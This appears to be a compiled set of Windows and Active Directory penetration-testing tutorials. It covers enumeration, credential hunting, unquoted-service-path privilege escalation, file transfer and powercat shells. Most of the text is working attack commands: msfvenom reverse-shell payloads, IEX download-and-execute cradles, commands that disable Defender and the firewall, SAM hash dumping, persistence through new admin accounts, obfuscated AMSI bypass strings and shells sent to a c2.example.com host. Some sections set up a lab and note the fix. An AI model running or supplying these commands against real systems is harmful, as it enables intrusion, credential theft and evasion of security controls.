  • Get-DomainObjectAcl -LDAPFilter '(objectCategory=groupPolicyContainer)' | ? { ($_.SecurityIdentifier -match '^S-1-5-.*-[1-9]\d{3,}$') -and ($_.ActiveDirectoryRights -match 'WriteProperty|GenericAll|GenericWrite|WriteDacl|WriteOwner')}
  • Get-NetGPO -GPOName '{3E04167E-C2B6-4A9A-8FB7-C811158DC97C}' #Get GPO of an OU
  • Get-NetOU #Get Organization Units
  • Get-NetOU StudentMachines | %{Get-NetComputer -ADSPath $_} #Get all computers inside an OU (StudentMachines in this case)


1. Enumerate shares

  • Find-DomainShare -Verbose

2. Connect to the share

  • cd \\<FQDN or IP>\<sharename>
  • cd \\\local_share

3. Search readable shares

  • Find-DomainShare -CheckShareAccess


1. Find the ACL rules associated to a user

  • whoami
  • Get-ObjectAcl -SamAccountName user1 -ResolveGUIDS

2. Find if there is any generic access

  • Get-Object -SamAccountName '<Group>' -ResolveGUIDS | ? { ($_.ActiveDirectoryRights –match 'GenericWrite ') -and ($_.SecurityIdentifier -match '<SID>') }
  • Get-Object -SamAccountName * -ResolveGUIDS | ? { ($_.ActiveDirectoryRights –match 'GenericWrite ') -and ($_.SecurityIdentifier -match '<SID>') }

3. Having write access into a domaingroup allows you to add users to that group

  • Add-DomainGroupMember -Identity 'Domain Admins' -Members 'User1' –Domain 'OSCP-LAB'

Other ACL commands

  • Get-PathAcl -Path "\\dc.mydomain.local\sysvol" #Get permissions of a file
  • Find-InterestingDomainAcl -ResolveGUIDs #Find intresting ACEs (Interesting permisions of "unexpected objects" (RID>1000 and modify permissions) over other objects
  • Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReference -match "RDPUsers"} #Check if any of the interesting permissions founds is realated to a username/group
  • Get-NetGroupMember -GroupName "Administrators" -Recurse | ?{$_.IsGroup -match "false"} | %{Get-ObjectACL -SamAccountName $_.MemberName -ResolveGUIDs} | select ObjectDN, IdentityReference, ActiveDirectoryRights #Get special rights over All administrators in domain

ADRecon: Active Directory Recon

ADRecon is a tool which extracts and combines various artefacts (as highlighted below) out of an AD environment.

It can be run from any workstation that is connected to the environment, even hosts that are not domain members. Furthermore, the tool can be executed in the context of a non-privileged (i.e. standard domain user) account. Fine Grained Password Policy, LAPS and BitLocker may require Privileged user accounts.

The following information is gathered by the tool:

  • Forest;
  • Domain;
  • Trusts;
  • Sites;
  • Subnets;
  • Default and Fine Grained Password Policy (if implemented);
  • Domain Controllers, SMB versions, whether SMB Signing is supported and FSMO roles;
  • Users and their attributes;
  • Service Principal Names (SPNs);
  • Groups and memberships;
  • Organizational Units (OUs);
  • GroupPolicy objects and gPLink details;
  • DNS Zones and Records;
  • Printers;
  • Computers and their attributes;
  • PasswordAttributes (Experimental);
  • LAPS passwords (if implemented);
  • BitLocker Recovery Keys (if implemented);
  • ACLs (DACLs and SACLs) for the Domain, OUs, Root Containers, GPO, Users, Computers and Groups objects;
  • GPOReport (requires RSAT);
  • Kerberoast (not included in the default collection method); and
  • Domain accounts used for service accounts (requires privileged account and not included in the default collection method).

NOTE: The tool will use Microsoft Remote Server Administration Tools (RSAT) if available, otherwise it will communicate with the Domain Controller using LDAP.


How to use

1. Download the tool, and start a web server in your local machine

  • git clone https://github.com/sense-of-security/ADRecon.git
  • cd ADRecon
  • ls
  • python3 -m http.server 9999

2. Have the file ADRecon.ps1 transferred to the target machine. I’ll use powershell

  • IWR -OutFile ADRecon.ps1
  • dir

3. Start a powershell process with execution bypass, then, execute the script

  • powershell -ep bypass
  • .\ADRecon.ps1 -OutputDir ADRecon_results -OutputType HTML

4. Looking at the directory we can see the script created a directory named ADRecon_results

  • dir
  • cd ADRecon_results
  • dir

5. Into the folder HTML-Files we will see the result of each script

6. You can see different type of results such as




Domain Controllers



Password Policy


Inspect all of them and start gathering information about the domain controller


Windows basic manual post-exploitation recon

This activity is intended to guide you with some basic manual reconnaissance activity.

Windows Local user & local enumeration

1. Check the current user

  • echo %USERNAME% || whoami
  • whoami


  • env:username

2. View the logged in user privileges

  • whoami /priv

3. Display the user groups to which the current user belongs.

  • whoami /groups

4. See the local users

  • net user

Note: User1 is not listed as it is a Domain user

5. To view all users including local and domain users that have logged in to this machine

  • whoami /all

6. You can also see local users using powershell

  • Get-LocalUser
  • Get-LocalUser | Select-Object -Property Name,Enabled,LastLogon

7. We could also get usernames by inspecting the users’ directory (C:/Users)

  • Get-ChildItem C:/Users -Force
  • Get-ChildItem C:/Users -Force | Select Name

8. The "Net Accounts" command is used to set the policy settings on local computer, such as Account policies and password policies. This command can't be used on domain controller. This command is only used on local computer.

  • net accounts

9. Learn more about a specific local user

  • net user administrator

10. net localgroup displays the name of the server and the names of local groups on the computer.

  • net localgroup

11. you can also get the local groups using Powershell

  • Get-LocalGroup
  • Get-LocalGroup | ft Name

12. You can also see the users that belong to a group

  • net localgroup administrators

13. You can also get user membership using powershell

  • Get-LocalGroupMember Administrators
  • Get-LocalGroupMember Administrators | ft Name,PrincipalSource

Get Folder permissions

1. To get folder permissions in powershell use

  • (get-acl .\test-dir\).access
  • (get-acl .\test-dir\).access | ft IdentityReference, FileSystemRights, AccessControlType

2. You can use CMD to check on folder permissions

  • icacls .\test-dir


1. To know the network information of the PC you can run

  • ipconfig
  • ipconfig /all

2. This can also be achieved from Powershell

  • Get-NetIPConfiguration
  • Get-NetIPConfiguration | ft InterfaceAlias, InterfaceDescription, IPv4Address

3. Get DNS information

  • Get-DnsClientServerAddress
  • Get-DnsClientServerAddress -AddressFamily IPv4
  • Get-DnsClientServerAddress -AddressFamily IPv4 | ft ServerAddresses

Note: In some environments it is normal to see the AD server act as DNS server too.

4. Display routing table

  • route print

5. Get more routing information from the host

  • Get-NetRoute
  • Get-NetRoute -AddressFamily IPv4
  • Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix, NextHop, RouteMetric, ifIndex

6. Know about the ARP table, IP and MAC addresses in the network

  • arp -A

7. We can also get ARP table using

  • Get-NetNeighbor
  • Get-NetNeighbor -AddressFamily IPv4
  • Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex, IPAddress, LinkLayerAddress, State

8. We can get information about who is currently connected to our PC, and the process ID PID

  • netstat -ano

9. Check the state of the local Firewall configuration

  • netsh firewall show status

10. Now check the current firewall configuration

  • netsh firewall show config


As soon as you get local administrator you can disable FW and AV to do other stuff.

11. To disable the Firewall you can run (requires administrator privileges)

  • netsh firewall set opmode disable

12. Set all profiles to off (requires administrator privileges)

  • netsh advfirewall set allprofiles state off


1. You can check the Malware Protection status

  • Get-MpComputerStatus

2. After checking the AV info you can check for the FW domain status

  • netsh advfirewall show domain

Note: To read the Firewall logs you need administrator rights

3. You can also print all profiles Domain, Private & Public

  • netsh advfirewall show allprofiles

4. To disable AV run the following (you need administrator permissions)

  • Set-MpPreference -DisableRealtimeMonitoring $true

5. Also, you can disable the IOAVprotection using (requires admin rights)

  • Set-MpPreference -DisableIOAVProtection $true

6. You can check the AV rules

  • $a = Get-ApplockerPolicy -effective
  • $a.rulescollections

Find Passwords

The Security Account Manager (SAM), often Security Accounts Manager, is a database file. The user passwords are stored in a hashed format in a registry hive either as a LM hash or as a NTLM hash. This file can be found in %SystemRoot%/system32/config/SAM and is mounted on HKLM/SAM.

  • # Usually %SYSTEMROOT% = C:\Windows
  • %SYSTEMROOT%\repair\SAM
  • %SYSTEMROOT%\System32\config\RegBack\SAM
  • %SYSTEMROOT%\System32\config\SAM
  • %SYSTEMROOT%\repair\system
  • %SYSTEMROOT%\System32\config\SYSTEM
  • %SYSTEMROOT%\System32\config\RegBack\system

Generate a hash file for John using pwdump or samdump2.

  • pwdump SYSTEM SAM > /root/sam.txt
  • samdump2 SYSTEM SAM -o sam.txt

Then crack it with john -format=NT /root/sam.txt.

1. You can copy and crack the following files

  • C:\windows\system32\config\SAM
  • C:\windows\system32\config\SYSTEM

2. Locate passwords in unattend.xml files.

  • C:\unattend.xml
  • C:\Windows\Panther\Unattend.xml
  • C:\Windows\Panther\Unattend\Unattend.xml
  • C:\Windows\system32\sysprep.inf
  • C:\Windows\system32\sysprep\sysprep.xml

Display the content of these files with

  • dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>null

Note: The Metasploit module post/windows/gather/enum_unattend looks for these files.

Search for files

1. Search for a keyword in any file, and open it (CMD)

  • findstr /spin "password" *.*

2. Also search for files containing the word password in its contents

  • cd c:\ & FINDSTR /SI /M "password" *.xml *.txt *.ini *.config
  • findstr /si password *.xml *.ini *.txt *.config

3. Search for files based on their name

  • dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*

4. Also search for files that have a specific name (CMD)

  • where /R C:\ file-test.txt
  • where /R C:\ *.ini

Search/Find Registry

1. Search within the registry for keywords (usernames & passwords)

  • REG QUERY HKLM /F "password" /t REG_SZ /S /K
  • REG QUERY HKLM /F "pass" /t REG_SZ /S /K
  • REG QUERY HKCU /F "password" /t REG_SZ /S /K
  • REG QUERY HKCU /F "pass" /t REG_SZ /S /K

2. Search for usernames

  • REG QUERY HKLM /F "username" /t REG_SZ /S /K
  • REG QUERY HKLM /F "user" /t REG_SZ /S /K
  • REG QUERY HKCU /F "username" /t REG_SZ /S /K
  • REG QUERY HKCU /F "user" /t REG_SZ /S /K

3. Other searches

  • reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" # Windows Autologin
  • reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr "DefaultUserName DefaultDomainName DefaultPassword"
  • reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP" # SNMP parameters
  • reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" # Putty clear text proxy credentials
  • reg query "HKCU\Software\ORL\WinVNC3\Password" # VNC credentials
  • reg query HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4 /v password

4. Read the value of certain sub key

  • REG QUERY "HKLM\Software\Microsoft\FTH" /V RuleList

IIS Web config

  • Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
  • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
  • C:\inetpub\wwwroot\web.config

Other files

  • %SYSTEMDRIVE%\pagefile.sys
  • %WINDIR%\debug\NetSetup.log
  • %WINDIR%\repair\sam
  • %WINDIR%\repair\system
  • %WINDIR%\repair\software, %WINDIR%\repair\security
  • %WINDIR%\iis6.log
  • %WINDIR%\system32\config\AppEvent.Evt
  • %WINDIR%\system32\config\SecEvent.Evt
  • %WINDIR%\system32\config\default.sav
  • %WINDIR%\system32\config\security.sav
  • %WINDIR%\system32\config\software.sav
  • %WINDIR%\system32\config\system.sav
  • %WINDIR%\system32\CCM\logs\*.log
  • %USERPROFILE%\ntuser.dat
  • %USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat
  • %WINDIR%\System32\drivers\etc\hosts
  • C:\ProgramData\Configs\*
  • C:\Program Files\Windows PowerShell\*
  • dir c:*vnc.ini /s /b
  • dir c:*ultravnc.ini /s /b

System Information

1. You can check for Windows details (including patching info) using Systeminfo

  • systeminfo

2. You can also filter this out

  • systeminfo | FINDSTR /B /C:"OS Name" /C:"OS Version"

3. Search for patching information

  • wmic qfe

Persistance add user

When you become administrator, you can add users with administrator privileges

1. Add a user

  • net user /add puser1 Password123

2. Add it to the group

  • net localgroup administrators puser1 /add

Schedule tasks

With schedule tasks you can add/ modify a script to do what you need

1. Display schedule tasks

  • Get-ScheduleTask


Privilege Escalation – Unquoted Service Path (Windows)

When a service is created whose executable path contains spaces and isn’t enclosed within quotes, leads to a vulnerability known as Unquoted Service Path which allows a user to gain SYSTEM privileges (only if the vulnerable service is running with SYSTEM privilege level which most of the time it is).

if the service is not enclosed within quotes and is having spaces, it would handle the space as a break and pass the rest of the service path as an argument.

This can be exploited to execute an arbitrary binary when the vulnerable service starts, which could allow to escalate privileges to SYSTEM

How does it work?

The way to exploit this vulnerability is to place a malicious executable somewhere in the service path, and name it in a way that starts with the first few letters of the next directory in the service path. When the service starts, it will then execute the evil binary and grant remote SYSTEM access.

An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. For example, if the path in a shortcut is C:\program files\myapp.exe, an adversary may create a program at C:\program.exe that will be run instead of the intended program.

Unquoted Path or Unquoted Service path is reported as a critical vulnerability in Windows, such vulnerability allows an attacker to escalate the privilege for NT AUTHORITY/SYSTEM for a low-level privilege user account.


  • if the path has one or more spaces
  • it is not surrounded by quotation marks
  • Have write permissions in the directory to place the malicious file
  • Be able to Start/Stop the service, or at least, reboot the server for the service to auto start
  • The malicious program/service will have to start with the first letters before the first space of the next directory

If it is initiated by a member of administrators group we will get the same privileges

the filename will be executed in the order from left to right until the space is reached and will append .exe at the end of this spaced path.

In order to run SomeExecutable.exe, the system will interpret this path in the following order from 1 to 5.

  • C:\Program.exe
  • C:\Program Files\VK9.exe
  • C:\Program Files\VK9 Security\binary.exe
  • C:\Program Files\Vk9 Security\binary files\executable.exe
  • C:\Program Files\Vk9 Security\binary files\executable files\real-program.exe

Considering we have the write permissions in the context of the user shell (more on this later) in any of the spaced folders above, we as an attacker can drop our malicious executable in that folder to get a reverse shell as SYSTEM.

When the system boots, Windows auto starts some of its services. Services on Windows communicate with the Service Control Manager which is responsible to start, stop and interact with these service processes.

Lab Set up

1. First I will create 2 users (usera & userb). usera will be part of the administrators & users groups, and userb will part of users only

Create usera

  • net user usera P4ssword123 /add
  • net localgroup Administrators usera /add

Create userb

  • net user userb P4ssword123 /add
  • net localgroup Users userb /add

2. Looking at their privileges

  • net user usera
  • net user userb

3. Log in with the Administrator account, and create in CMD a service task

  • sc create "VK9 Security Vulnerable Service" binpath= "C:\Program Files\Vk9 Security\binary files\executable files\real-program.exe" Displayname= "Vk9 Vuln Service" start= auto

Note: Displayname is advisable to be specified but not necessary (if not mentioned, then it will be same as the service name)

4. Now if we go to “Services” we can see the new one created

5. You can use powershell to see the service

  • Get-Service
  • Get-Service -DisplayName “Vk9 Vuln Service”

6. Also from CMD

  • sc query "VK9 Security Vulnerable Service" state=all

7. We will now proceed to create the folders (with the administrator account), and, to give the appropriate permissions

  • mkdir "C:\Program Files\Vk9 Security\binary files\executable files\"

8. Now Check the permissions in the folder we will make vulnerable, as we can see BUILTIN\Users group only has (read & execute) permissions

  • icacls "C:\Program Files\Vk9 Security/binary files"

NOTE: The main icacls permissions are as follows:

  • F – Full access
  • M– Modify access
  • RX – Read and execute access
  • R – Read-only access
  • W – Write-only access

Whereas these are used for file/folder inheritance:

  • (OI) – Object inherit
  • (CI) – Container inherit
  • (IO) – Inherit only
  • (NP) – Do not propagate inherit

9. Lets add WRITE permissions to BUILTIN\Users

  • icacls "C:\Program Files\Vk9 Security/binary files" /GRANT "BUILTIN\Users":W
  • icacls "C:\Program Files\Vk9 Security/binary files"

10. Please any program in “C:\Program Files\Vk9 Security\binary files\executable files\real-program.exe”


1. Logging in using userb, the one that only belongs to BUILTIN\Users

  • wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v """

2. This can also be found in registry

  • reg query "HKLM\SYSTEM\CurrentControlSet\Services\VK9 Security Vulnerable Service"

3. Using PowerUp.ps1 we can also enumerate this vulnerability

  • powershell -ep bypass
  • Import-Module .\PowerUp.ps1
  • Invoke-AllChecks

4. We can also search only for UnquotedServicePath

  • Import-Module .\PowerUp.ps1
  • Get-UnquotedService

Manual Exploitation

1. We already identified Unquoted service path

  • wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v """

2. Also looking at the directories, we identified “C:\Program Files\Vk9 Security\binary files” to have READ, WRITE, EXECUTE permissions for BUILTIN:Users

  • icacls "C:\Program Files\Vk9 Security/binary files"

3. We can now drop a payload file into that directory, first we need to create it

  • msfvenom -p windows/x64/shell_reverse_tcp LHOST= LPORT=7777 -f exe -o executable.exe

4. Start a web server at your Linux local server

  • python3 -m http.server 9999

5. In your target machine, download the file into the target directory

  • cd "C:\Program Files\Vk9 Security\binary files"
  • certutil -urlcache -split -f “” executable.exe
  • dir

6. Now start a listener on port 7777 in your local machine

  • nc -lvp 7777

7. Now, check if you have rights to restart (stop/start) the service

  • sc stop "VK9 Security Vulnerable Service"
  • sc qc "VK9 Security Vulnerable Service"

Note: we get access denied due to our permissions. Our userb has only BUILTIN:Users rights

8. Try to reboot the server, and see if the service automatically runs at start.

9. Once, the server loads back, you should get a shell back to your listener

when the system will boot/reboot, as its start type is AUTO_START, this service will interact with the Service Control Manager and traverse the path to its binary executable.

Not found > C:\Program Files

Not found > C:\Program Files\Vk9 Security

Found > C:\Program Files\Vk9 Security\binary files\executable.exe

Not Found > C:\Program Files\Vk9 Security\binary files\executable files\

Since, we have dropped our executable.exe, whilst searching for real-program.exe it will first encounter executable.exe and will end up executing this instead due to it being unquoted service binary path, thus, giving us back a reverse shell on our nc listener.


This technique can also be exploited using automated tools like Metasploit. Below the steps to exploit it.

1. Having already a Meterpreter session, we can start by running post exploitation tools

  • background
  • use exploit/windows/local/unquoted_service_path
  • show options

2. Set the session value to our current session

  • set SESSION 12
  • exploit

Note: In this case the payload failed because we have no rights to restart the service, nor, restart the server. If we restart the server probable our Meterpreter communication will fail. So, I will use another user instead of userb, someone that has service start/stop privileges

3. Testing with another user that has start/stop privilges we can see the script being executed successfully

  • set SESSION 13
  • exploit
  • getuid

Note: this exploit works well if the user account is in Administrators group coupled with using a exploit module to bypass UAC.


PowerSploit is a collection of Microsoft PowerShell modules that can be used to aid penetration testers during all phases of an assessment.

we are focusing on two of its modules Get-ServiceUnquoted and Write-ServiceBinary.

  • Get-ServiceUnquoted tells us the service name, executable path, modifiable path along with who has the rights to modify which path.
  • After we have found the Unquoted Service Path, we will use PowerSploit’s Write-ServiceBinary to write the shell to disk within the executable path.

1. Download PowerUp into your Linux machine, and set a web server.

  • git clone https://github.com/PowerShellMafia/PowerSploit.git
  • cd PowerSploit/Privesc
  • python3 -m http.server 9999

2. From the windows server run this command to execute the file in memory, without the need to download to disk. It will execute Get-ServiceUnquoted

  • powershell -nop -exec bypass -c "IEX(New-Object Net.WebClient).DownloadString('');Get-UnquotedService"

Break down of the command

  • -nop: Short for NoProfile. It enables PowerShell to not execute profile scripts and right away launch your script in an untouched environment
  • -exec bypass: If script execution is not allowed, make sure to explicitly allow it in order to run our powershell script
  • -c: command to run from PowerShell
  • If you have the Internet access from this reverse shell, then give the PowerUp.ps1 Github’s URL directly as a string to DownloadString in above command or else it can be downloaded from here locally. Download and fetch this script from the attacker’s machine to the victim’s machine if both are in the same network

3. Run Get-ModifiablePath to get the exact folder that is vulnerable

  • powershell -nop -exec bypass -c "IEX(New-Object Net.WebClient).DownloadString('');Get-ChildItem C:\ -Recurse | Get-ModifiablePath"

4. With this command we can print the permissions in the folder, we can see BUILTIN\Users with write privileges

  • powershell -nop -exec bypass -c "Get-acl 'C:\Program Files\VK9 Security\binary files' | % {$_.access}"

5. Knowing the exact folder, and the permissions we can proceed to create a stageless payload

  • msfvenom -p windows/shell_reverse_tcp LHOST= LPORT=1337 -f exe -o executable.exe

6. Now start a SMB server to transfer files to the windows machine

  • impacket-smbserver EVILSHARE ~/Desktop -smb2support

7. Now, proceed to download the file into the right folder using powershell, for this I’ll use Write-ServiceBinary

  • powershell -nop -exec bypass -c "IEX(New-Object Net.WebClient).DownloadString('');Write-ServiceBinary -Name 'VK9 Security Vulnerable Service' -Command '\\\EVILSHARE\executable.exe' -Path 'C:\Program Files\VK9 Security\binary files\executable.exe'"

Write-ServiceBinary takes 3 switches in the above command:

  • -Name: Name of the vulnerable service
  • -Command: The custom command when malicious service binary will be executed
  • -Path: Path to the vulnerable binary which will be executed

Note: you can also verify the file has been delivered by running dir in the target location

  • cd "C:\Program Files\Vk9 Security\binary files"
  • dir

8. Once, the file has been delivered to the target location, we proceed to start a nc listener

  • nc -lvp 1337

9. Proceed to reboot the server, once, it loads back a reverse shell should be executed

  • shutdown /r /f


Windows 0day vulnerabilities are very often unquoted service paths. it gets all the services from HKLM\SYSTEM\CurrentControlSet\services, finds those services with spaces and without quotes, prepends and appends double quotes to the service binary executable and fixes it.

Vulnerability Solution: Ensure that any services that contain a space in the path enclose the path in quotes.


Unquoted service path: C:\Program Files\VK9 Security\binary files\executable files\real-program.exe

Quoted service path: " C:\Program Files\VK9 Security\binary files\executable files\real-program.exe"


To successfully exploit this vulnerability, following conditions should be met.

  • The service executable path should not be enclosed in quotes and have spaces.
  • It should be running with LocalSystem privileges. If not, whatever privileges it will be running as will provide us a reverse shell with that same privilege level considering it is a auto-start service.
  • Users should have write access in one of the folders where the binary path resides.
  • Users should have the rights to restart the service. If not, it should be an auto-start service so that upon rebooting the system, it communicates with the Service Control Manager and you know the rest.






Download files using windows (HTTP, FTP, SMB)

Part of penetration testing (post-exploitation) requires you to transfer files from your machine to the target machine. Here are some commands we can use to download files in windows.


1. Set up a Web Server

  • python3 -m http.server 8888
  • python2.7 -m SimpleHTTPServer 8888

2. We will transfer a file named VK9-Sec.jpg


1. In CMD you can run to download files

  • certutil -urlcache -split -f "http://ip-addr:port/file" [output-file]
  • certutil -urlcache -split -f "" VK9-Sec.jpg
  • dir VK9-Sec.jpg

PowerShell (IWR)

  • IWR -OutFile VK9-Sec.jpg
  • dir VK9-Sec.jpg

2. It can also be run from CMD

  • powershell.exe IWR -OutFile VK9-Sec.jpg
  • dir VK9-Sec.jpg

Powershell (Invoke-WebRequest)

  • Invoke-WebRequest -URI ' ' -Outfile .\VK9-Sec.jpg
  • dir VK9-Sec.jpg

2. This can also be run from CMD

  • powershell.exe Invoke-WebRequest -URI '' -Outfile .\VK9-Sec.jpg
  • dir VK9-Sec.jpg

Fileless download

We can download and execute from memory using Powershell.

1. First we will set up a web server containing Sherlock.ps1 to execute as a test

  • git clone https://github.com/rasta-mouse/Sherlock.git
  • cd Sherlock
  • python3.9 -m http.server 9999

2. In the remote machine you have to execute


  • powershell -ep bypass
  • IEX(New-Object Net.WebClient).DownloadString('');Find-AllVulns


  • powershell.exe "iex(new-object net.webclient).downloadString(‘’);Find-AllVulns"


Pyftpdlib Python library

FTP is another common method of file transfer, and FTP clients are usually installed by default on Windows machines.

1. Install in your local linux server the python library for setting up the FTP server, (you can run it without sudo as well)

  • sudo pip3 install pyftpdlib
  • sudo python3 -m pyftpdlib -p 21

2. From the remote Windows machine we can connect using FTP.

  • Open
  • User: anonymous
  • Password: anonymous

3. As we logged in successfully, we can run FTP commands to inspect the files in the directories and download it into our machine

  • HELP
  • dir
  • GET VK9-Sec.jpg

Note as you can see the transfer completed. If we actually check our directory, we will see the file downloaded

  • dir


We can also use the SMB protocol to transfer files.

1. Start a SMB server in Kali

  • impacket-smbserver EVILSHARE ~/Desktop -smb2support

2. From the remote machine connect to the SMB server we just set up, we can see our share “EVILSHARE”

  • net view \\

3. List the files in the share

  • dir \\\EVILSHARE

3. Download into the remote server

  • copy \\\EVILSHARE\VK9-Sec.jpg


Bind & Reverse Shell using powercat

This tutorial is to show you how to use powercat which is the Windows equivalent tool for netcat linux. (Netcat: The powershell version. (Powershell Version 2 and Later Supported))



  • -l Listen for a connection. [Switch]
  • -c Connect to a listener. [String]
  • -p The port to connect to, or listen on. [String]
  • -e Execute. (GAPING_SECURITY_HOLE) [String]
  • -ep Execute Powershell. [Switch]
  • -r Relay. Format: "-r tcp:" [String]
  • -u Transfer data over UDP. [Switch]
  • -dns Transfer data over dns (dnscat2). [String]
  • -dnsft DNS Failure Threshold. [int32]
  • -t Timeout option. Default: 60 [int32]
  • -i Input: Filepath (string), byte array, or string. [object]
  • -o Console Output Type: "Host", "Bytes", or "String" [String]
  • -of Output File Path. [String]
  • -d Disconnect after connecting. [Switch]
  • -rep Repeater. Restart after disconnecting. [Switch]
  • -g Generate Payload. [Switch]
  • -ge Generate Encoded Payload. [Switch]
  • -h Print the help message. [Switch]

Basic Connections

By default, powercat reads input from the console and writes input to the console using write-host. You can change the output type to 'Bytes', or 'String' with -o.

Basic Client:

  • powercat -c -p 443

Basic Listener:

  • powercat -l -p 8000

Basic Client, Output as Bytes:

  • powercat -c -p 443 -o Bytes

File Transfer

powercat can be used to transfer files back and forth using -i (Input) and -of (Output File).

Send File:

  • powercat -c -p 443 -i C:\inputfile

Recieve File:

  • powercat -l -p 8000 -of C:\inputfile


powercat can be used to send and serve shells. Specify an executable to -e, or use -ep to execute powershell.

Serve a cmd Shell:

  • powercat -l -p 443 -e cmd

Send a cmd Shell:

  • powercat -c -p 443 -e cmd

Serve a shell which executes powershell commands:

  • powercat -l -p 443 -ep


powercat supports more than sending data over TCP. Specify -u to enable UDP Mode. Data can also be sent to a dnscat2 server with -dns. Make sure to add "-e open --no-cache" when running the dnscat2 server.

Send Data Over UDP:

  • powercat -c -p 8000 -u
  • powercat -l -p 8000 -u

Connect to the c2.example.com dnscat2 server using the DNS server on

  • powercat -c -p 53 -dns c2.example.com

Send a shell to the c2.example.com dnscat2 server using the default DNS server in Windows:

  • powercat -dns c2.example.com -e cmd


Relays in powercat work just like traditional netcat relays, but you don't have to create a file or start a second process. You can also relay data between connections of different protocols.

TCP Listener to TCP Client Relay:

  • powercat -l -p 8000 -r tcp:

TCP Listener to UDP Client Relay:

  • powercat -l -p 8000 -r udp:

TCP Listener to DNS Client Relay

  • powercat -l -p 8000 -r dns:

TCP Listener to DNS Client Relay using the Windows Default DNS Server

  • powercat -l -p 8000 -r dns:::c2.example.com

TCP Client to Client Relay

  • powercat -c -p 9000 -r tcp:

TCP Listener to Listener Relay

  • powercat -l -p 8000 -r tcp:9000

Generate Payloads

Payloads which do a specific action can be generated using -g (Generate Payload) and -ge (Generate Encoded Payload). Encoded payloads can be executed with powershell -E. You can use these if you don't want to use all of powercat.

Generate a reverse tcp payload which connects back to port 443:

  • powercat -c -p 443 -e cmd -g

Generate a bind tcp encoded command which listens on port 8000:

  • powercat -l -p 8000 -e cmd -ge

Misc Usage

powercat can also be used to perform portscans, and start persistent servers.

Basic TCP Port Scanner:

  • (21,22,80,443) | % {powercat -c -p $_ -t 1 -Verbose -d}

Start A Persistent Server That Serves a File:

  • powercat -l -p 443 -i C:\inputfile -rep

Reverse shell

1. Having already access to a server, you can download into it the tool and run it. First download the tool into your local Kali/Parrot machine

  • git clone https://github.com/besimorhino/powercat.git
  • cd powercat
  • ls

2. Now start a web server in the local machine to transfer the files

  • python3 -m http.server 8888

3. Now from the remote machine you can download the file in

  • Invoke-WebRequest -URI '' -Outfile .\powercat.ps1
  • dir

4. Having the file in your server you can start a listener, first we need to bypass the execution policy

  • powershell -ep bypass
  • Import-Module .\powercat.ps1
  • powercat -l -p 4444

Note: For this example, the AV and Firewall were turned off. AV could probably block powercat, and Firewall could block the opening port 4444

5. Now you can use netstat to verify the port has been opened

  • netstat -an | FINDSTR 4444

6. Having that we can now create a reverse shell script using MSFVenom, and have it executed from another windows machine

  • msfvenom -p windows/x64/shell_reverse_tcp LHOST= LPORT=4444 -f exe > rev.exe
  • ls
  • python3.9 -m http.server 8888

7. Now, download the file into another Windows machine, and, execute it. (it should connect to our victim the one we just opened the port)

  • .\rev.exe
  • whoami

Note: We got a shell from user vry4n from the other machine.


This can be used locally also to elevate privileges. So you set up the listener, and have a schedule task (as an example) run the reverse shell program to the same machine with elevated privileges.

Bind shell

1. For a bind shell just execute the powercat.ps1 the same way

  • powershell -ep bypass
  • Import-Module .\powercat.ps1
  • powercat -l -p 4455 -e cmd

2. Verify the port has been opened

  • netstat -ano | FINDSTR 4455

2. In a remote machine, in this case Kali, you can run, to connect to that IP & port

  • nc 4455
  • whoami


Enumerate Windows Using PowerUP

PowerSploit is a collection of Microsoft PowerShell modules that can be used to aid penetration testers during all phases of an assessment.


  • Clearing house of common privilege escalation checks, along with some weaponization vectors.

How to

1. Download the Tool

  • git clone https://github.com/PowerShellMafia/PowerSploit.git
  • cd PowerSploit/Privesc
  • ls

2. Transfer the tool to the remote machine, first set a web server in the local machine

  • python3 -m http.server 9999

3. In the remote server using powershell run the following

  • IWR -OutFile PowerUp.ps1
  • dir

4. Bypass the execution policy

  • powershell -ep bypass

5. Bypass AMSI protection (anti-malware)

  • sET-ItEM ( 'V'+'aR' + 'IA' + 'blE:1q2' + 'uZx' ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ; ( GeT-VariaBle ( "1Q2U" +"zX" ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f'Util','A','Amsi','.Management.','utomation.','s','System' ) )."g`etf`iElD"( ( "{0}{2}{1}" -f'amsi','d','InitFaile' ),( "{2}{4}{0}{1}{3}" -f 'Stat','i','NonPubli','c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} )

# New AMSI bypass obfuscation:

  • [ReF]."`A$(echo sse)`mB$(echo L)`Y"."g`E$(echo tty)p`E"(( "Sy{3}ana{1}ut{4}ti{2}{0}ils" -f'iUt','gement.A',"on.Am`s",'stem.M','oma') )."$(echo ge)`Tf`i$(echo El)D"(("{0}{2}ni{1}iled" -f'am','tFa',"`siI"),("{2}ubl{0}`,{1}{0}" -f 'ic','Stat','NonP'))."$(echo Se)t`Va$(echo LUE)"($(),$(1 -eq 1))

Note. AntiVirus could block this from running.

6. Proceed to import PowerUp and run it

  • Import-Module .\PowerUp.ps1
  • Invoke-AllChecks


Windows Local user & local enumeration

In this article we will learn to enumerate users and groups manually.

1. Check the current user

  • echo %USERNAME% || whoami
  • whoami


  • env:username

2. View the logged in user privileges

  • whoami /priv

3. Display the user groups to which the current user belongs.

  • whoami /groups

4. See the local users

  • net user

Note: User1 is not listed as it is a Domain user

